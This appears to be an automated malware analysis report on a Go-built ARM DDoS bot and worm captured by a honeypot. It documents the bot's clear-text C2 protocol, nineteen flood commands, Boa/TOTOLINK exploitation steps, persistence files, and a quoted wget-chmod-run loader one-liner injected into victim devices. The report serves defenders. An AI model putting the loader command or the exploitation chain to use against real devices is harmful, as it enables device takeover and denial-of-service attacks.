Honeypot capture
Arm ELF 32-bit LSB executable ddos-bot (9e6da804ae9c)
An ARM ELF sample talks to its operator in clear text; the file is 5898424 bytes and a honeypot sensor network captured it. Commands arrive from 185[.]226[.]93[.]242:9111 as whitespace-separated ASCII lines, telemetry leaves as a single pipe-delimited ASCII line, and the channel carries no encryption and no encoding. The pipeline recovered nineteen attack-command tokens, two endpoints naming one host, and both directions of the wire format from the file itself, loaded as data and never executed. Five test vectors replay through the resulting dissector, so a recorded session can be decoded without a key.
The sample is a Go 1.25.0 linux/arm build, statically linked, with the module path Botnet/Bot and version (devel) read from .go.buildinfo at 0x560000. That module path is attacker-authored build metadata, and this report asserts no public family name, because the pipeline established none from the sample. The build targets two architectures, led by armv7 and arm. Routers, cameras and other embedded devices run on those architectures, and the findings describe such hardware as rarely patched, rarely monitored and permanently online.
The sample has two independent halves. main.main (0x265584) runs the C2 client inline — a persistent TCP session that reads command lines and dispatches them into the 101-function Botnet/Methods package — while main.StartScanner (0x268f14) runs 100 goroutines that scan the public internet, break into Boa and TOTOLINK embedded web servers, and stage a follow-on payload. The feature set is the Mirai lineage — random public-IPv4 scanning, default-credential and command-injection exploitation, payload staging, named flood methods — but the sample is an original Go program. Mirai and Gafgyt are written in C, so the sample is not a fork of either.
The control channel
The C2 host sits in the binary as a plain Go string. The sample’s own strings and code name the addresses, and the pipeline recovered them by string. Two .data string headers sit side by side, the first pointing at the host ASCII:
...10cb3d00 0e000000 73053600 04000000... ; Go string header at .data 0x59b120 = {ptr 0x3dcb10, len 14}, and at 0x59b128 = {ptr 0x360573, len 4}— binja @0x59b120
00 ; '185.226.93.242'— binja @0x3dcb10
The host string is 14 bytes and the port string is 4 bytes. runtime.concatstring3 joins them with a ":" separator and passes the result to net.Dial:
0x265624 r0_5 = data_59b128 / 0x265634 r2_2 = data_59b12c / 0x265648 var_1f0_2 = data_59b120 / 0x26564c var_1ec_1 = data_59b124 / 0x265668 sub_7aa50(r0_5, arg2, 1, r2_2) ; runtime.concatstring3(host, ":", port)— binja @0x265668
0x265678 var_1f4_4 = "tcplena" / 0x265680 var_1f0_3 = 3 / 0x26568c sub_15dea8(var_1d8, arg2, var_1d4, 3) ; net.Dial("tcp", "185.226.93.242:9111")— binja @0x26568c
| Value | Port | Proto | Role | Source | Address | Conf |
|---|---|---|---|---|---|---|
185[.]226[.]93[.]242 | 9111 | tcp | primary C2 | .data string | 0x59b120 | 0.95 |
hxxp[://]185[.]226[.]93[.]242/bins.sh | 80 | http | payload staging | .data string | 0x268f7c | 0.85 |
Values and per-claim confidence scores from the recovered profile, anchored to the string headers and their call sites in the ARM image.
The session runs over a non-standard port and behaves as a supervised loop: a 5 s delay between reconnect attempts, and a 120 s watchdog installed with time.AfterFunc at 0x26573c that force-closes and recycles the connection. Inbound lines are read with bufio.Scanner (0x26586c) and split on whitespace with strings.Fields (0x2658ac); outbound telemetry is the format string STATS|%d|%d|%d|%d|%s\n at 0x365dcc, emitted every 2 s with no jitter (time.Sleep(0x77359400 ns) at 0x267c9c).
The channel carries no encryption even though the binary links crypto/tls. crypto/tls.Dial at 0x1e3df0 has zero callers, and only the attack methods and the runtime PRNG reach the TLS code and the three cryptographic constants in the image, including the SHA-256 IV at 0x26da30.
The telemetry is built by sampling /proc/stat twice, 200 ms apart, to compute a CPU percentage, and by parsing MemTotal:, MemFree:, Buffers: and Cached: from /proc/meminfo; the line ends with the literal architecture tag arm. The pipeline did not resolve three of the five STATS fields statically. The first %d is an int32 that main.GetStats (0x2686c8) returns from a global at .noptrbss 0x5ac9a4, and the pipeline did not find the writer of that global. main.getMemInfo (0x268a84) parses four labels but returns two accumulators, so which two reach fields 3 and 4 is unresolved.
The reproduction set is three tools, the decoder c2_dissect.py, the client c2_client.py, whose round-trip the pipeline confirmed, and the fake C2 c2_emulator.py. The tools emit syntactically valid values for the unresolved STATS fields without establishing what those values mean to the operator, though a real C2 might treat an arbitrary value in field 1 as anomalous. On the inbound side the parser accepts the nineteen known tokens and silently skips anything else, so a keepalive or no-op from the real C2 would leave no trace in the binary.
The 19 attack commands
Each command is one line, [token] [target] [[port]] [duration_seconds], and a new command implicitly cancels the attack in flight through Botnet/Methods.ResetAttack (0x263458). A defender decoding one session therefore reads the operator’s current target, port and duration directly, along with every connected bot’s live CPU and memory telemetry.
| Token | Handler | Method | Token | Handler | Method | |
|---|---|---|---|---|---|---|
udp | 0x262d10 | UdpFlood | ntp | 0x25c5b8 | NtpAmp | |
tcp | 0x2601dc | TCPFlood | handshake | 0x25bb38 | HandshakeFlood | |
tls | 0x260390 | TLSFlood | tlsplus | 0x261088 | TLSPlusFlood | |
tlsplusbypass | 0x261f18 | TLSPlusBypassFlood | browser | 0x256778 | BrowserFlood | |
cloudflare | 0x258820 | CloudflareFlood | hex | 0x25c250 | HexFlood | |
std | 0x25ff84 | STDFlood | ovh | 0x25d810 | OVHFlood | |
pps | 0x25df40 | PPSFlood | ppsraw | 0x25f62c | PPSRawFlood | |
ping | 0x25daf0 | PingFlood | game | 0x259300 | GameFlood | |
fort | 0x258acc | FortAttack | priv7 | 0x25e6f8 | Priv7Flood | |
voult | 0x264eb8 | VoultAttack |
Token as it appears on the wire, the handler address in the ARM image, and the Botnet/Methods function it dispatches to, recovered from the string switch at 0x2658b8.
The volumetric and amplification set maps to ATT&CK T1498 and includes NTP amplification (Botnet/Methods.NtpAmp, 0x25c5b8) and raw-socket TCP handshake floods (Botnet/Methods.HandshakeFlood, 0x25bb38). The application-layer set — BrowserFlood, CloudflareFlood, TLSPlusFlood, TLSPlusBypassFlood, Priv7Flood, with rotating browser User-Agents and decoy Referer headers — maps to T1499.
The raw-socket path at 0x25a0c4 builds IP and TCP headers by hand and transmits through SOCK_RAW, which permits source-address manipulation and requires CAP_NET_RAW. Whether it forges the source address is open, because the pipeline did not read handshakeSerializeIPHeader (0x259fcc) closely enough to say whether it writes an arbitrary address or copies the one handshakeGetExternalAddr (0x259a6c) discovers. The findings record that this open question affects the severity wording for the flood methods, not the C2 profile.
The sample reads a proxy list at attack time from proxy/tlsplusbypass.txt, opening it with os.OpenFile and scanning it with bufio.Scanner. The path is relative to the working directory, so it is a local file on the infected host, and responders should not chase it as operator infrastructure. The sample also templates http://%s/config.dat at scanned victim devices, so responders should not chase that path as operator infrastructure either.
The scanner
The scanner generates random public IPv4 addresses, excluding RFC1918 and loopback ranges, and fingerprints Boa and TOTOLINK embedded web servers (T1210). Against a match it retrieves /config.dat and decompresses it to harvest credentials. The decompressor is the sample’s one bespoke codec, main.Decode at 0x2693b8: LZSS in the Okumura variant, with a 4096-byte ring, F=18 and r initialised to 0xfee. It then solves the TOTOLINK getSanvas CAPTCHA, logs in, and reaches the /syscmd.htm system-command page, where it injects wget [loader] -O bins.sh; chmod +x bins.sh; ./bins.sh in two variants, generic and TOTOLINK-specific (T1059.004).
main.StartScanner builds the loader URL from the same host string as the control channel, over plain HTTP, a loader being a small first stage whose only job is to fetch and start the real payload:
0x268f5c var_44_1 = "http://%s/bins.sh" (0x364239) / 0x268f64 var_40_1 = 0x11 / 0x268f7c sub_10645c(1, arg2, &data_31ed78) ; fmt.Sprintf("http://%s/bins.sh", cncHost) in main.StartScanner— binja @0x268f7c
The goroutine wrapper that launches the scanner hands it the C2 host:
main.main.gowrap1 0x267ec4: ldr r0,[r7,#0x4] / ldr r1,[r7,#0x8] / str r0,[sp,#0x4] / str r1,[sp,#0x8] / bl 0x268f14 ; the closure words are the C2 host string {0x3dcb10,14}, passed to main.StartScanner— binja @0x267ef0
The profile classifies the staging URL as a dead drop, a fetch location. The sample templates its own C2 host into http://%s/bins.sh and injects the wget [loader] -O bins.sh; chmod +x bins.sh; ./bins.sh one-liner into exploited devices, which then fetch the file themselves.
Persistence
main.AutoStart (0x267f20) copies the sample as sysd into the first writable of four candidate directories, chmod 0777 (T1036). The recovered profile records that filename as resembling a legitimate system daemon rather than the sample’s original name. main.AutoStart tests writability by creating a zero-length test_write file with O_RDWR|O_CREAT|O_TRUNC and mode 0666 and immediately removing it. It then appends the install path to six startup files (T1037.004), guarding each append with a check for the substring sysd, which is also what the installer greps for to avoid installing twice.
| Kind | Value | Role |
|---|---|---|
| process_name | sysd | installed filename (0x360577) |
| directory | /usr/bin/ | first install candidate |
| directory | /data/local/tmp/ | second candidate, Android-style path |
| directory | /tmp/ | third candidate |
| directory | /var/run/ | fourth candidate |
| file | /etc/rc.local | boot-script persistence (0x268254) |
| file | /etc/rc.d/rc.local | boot-script persistence, Red Hat layout |
| file | /etc/init.d/boot.local | boot-script persistence, SUSE layout |
| file | /etc/profile | shell-profile persistence; second append loop, while (i_1 s< 3) at 0x2684b8 |
| file | /root/.bashrc | shell-rc persistence |
| file | withheld | shell-rc persistence |
| file | bins.sh | filename written on an exploited victim before execution |
Host artifacts and, where recorded, the addresses they were read from in the decompiler; the four install directories appear in the order the installer probes them, from 0x267f74 onward.
The sixth shell-rc target is a path under a literal, non-globbed username user, so that append only fires on a host with that account. The pipeline did not resolve the exact text main.AutoStart appends to the six files, because it did not fully reconstruct the write buffer at 0x2683e0.
The raw-socket floods (CAP_NET_RAW) and the writes into /etc need root, while the control channel, the scanner and the non-raw attacks all run unprivileged, and persistence falls back to the later install candidates on read-only embedded filesystems. Outbound the sample needs tcp/9111 and tcp/80 to 185[.]226[.]93[.]242, tcp/80 and tcp/443 to arbitrary scanned hosts, and UDP for NtpAmp and UdpFlood. Denying any one of those blocks the sample.
What is still unread in the sample
The findings record the candidate payload at 0xcbed4 as worth carving and analysing separately.
- Family
- unclassified
- First seen
- September 29, 2026
- Vector
- Runs as a ddos-bot/worm; the entry vector is not established by static analysis
- Format
- 5760 KB arm ELF 32-bit LSB executable
- VirusTotal
- Not on VirusTotal
- Tags
- arm · ddos-bot · elf · raw_tcp · worm
- Sample
- By request. Email security@kinryu.sh
SHA-256
-
9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10as captured
Analysis performed using an automatic malware analysis pipeline using Binary Ninja